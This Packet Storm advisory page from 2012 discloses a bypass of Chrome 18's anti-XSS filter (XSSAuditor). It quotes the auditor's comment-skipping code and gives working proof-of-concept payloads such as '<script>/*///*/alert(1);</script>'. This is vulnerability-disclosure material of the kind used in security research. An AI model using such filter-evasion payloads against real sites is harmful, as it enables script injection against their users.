Twenty Year Anniversary

Chrome 18 Anti-XSS Bypass

Chrome 18 Anti-XSS Bypass
Posted Jun 2, 2012
Authored by Keith Makan

Chrome 18 suffers from an anti-cross site scripting filter bypass vulnerability.

tags | exploit, xss, bypass
MD5 | ceab9abe49a3b405a690a589b8be9717

Chrome 18 Anti-XSS Bypass

Change Mirror Download
# Exploit Title: Chrome 18 anti-XSS bypass
# Date: 2012-05-31
# Author: k3170makan
# Vendor or Software Link: [download link if available]
# Version: 18.0.1025.162
# Category:: local
# Google dork: N/A
# Tested on: Ubuntu 10.04
# Demo site: N/A

Chrome 18---and possibly 19--- versions anti-XSS filter or XSSAuditor as
its called does not pick up certain XSS vectors.
Its possible to by pass the XSSAuditor by fooling it into believing that
the javascript you inject is commented out.
To do this you need to use both in line and multiline comment tags after
one another in the injection:

Code Snippet:

else if (startsMultiLineCommentAt(string, startPosition)) {
if ((foundPosition = string.find("*/", startPosition)) != notFound)
startPosition = foundPosition + 2; /*<--- skips 2 chars here*/


Because the Auditor skips two chars you can fool it by add another
slash to an inline incomment that succeeds a multiline comment e.g
'/*//'+'/'

So you need to make sure that in your injection---before any actual
javascript syntax---you include "/*///" and make sure to close the comment
as well
Some examples would be:

<script>/*///*/alert(1);</script> #it will pick up the multiline comment
here and skip to the next 2 chars, which will again be comments, so the
check will pass leaving the javascript alone!
<script>/*///////*/alert(1);</script>
you can add whatever chars you want to the vector after the '/*///' part as
long as you close the comment obviously.

Chrome Issue track --->
http://code.google.com/p/chromium/issues/detail?id=130594



gr33ts Telspace Systems ;)

site:k3170makan.blogspot.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

April 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    5 Files
  • 2
    Apr 2nd
    17 Files
  • 3
    Apr 3rd
    11 Files
  • 4
    Apr 4th
    21 Files
  • 5
    Apr 5th
    17 Files
  • 6
    Apr 6th
    12 Files
  • 7
    Apr 7th
    1 Files
  • 8
    Apr 8th
    6 Files
  • 9
    Apr 9th
    21 Files
  • 10
    Apr 10th
    18 Files
  • 11
    Apr 11th
    42 Files
  • 12
    Apr 12th
    7 Files
  • 13
    Apr 13th
    14 Files
  • 14
    Apr 14th
    1 Files
  • 15
    Apr 15th
    1 Files
  • 16
    Apr 16th
    15 Files
  • 17
    Apr 17th
    20 Files
  • 18
    Apr 18th
    24 Files
  • 19
    Apr 19th
    20 Files
  • 20
    Apr 20th
    7 Files
  • 21
    Apr 21st
    10 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close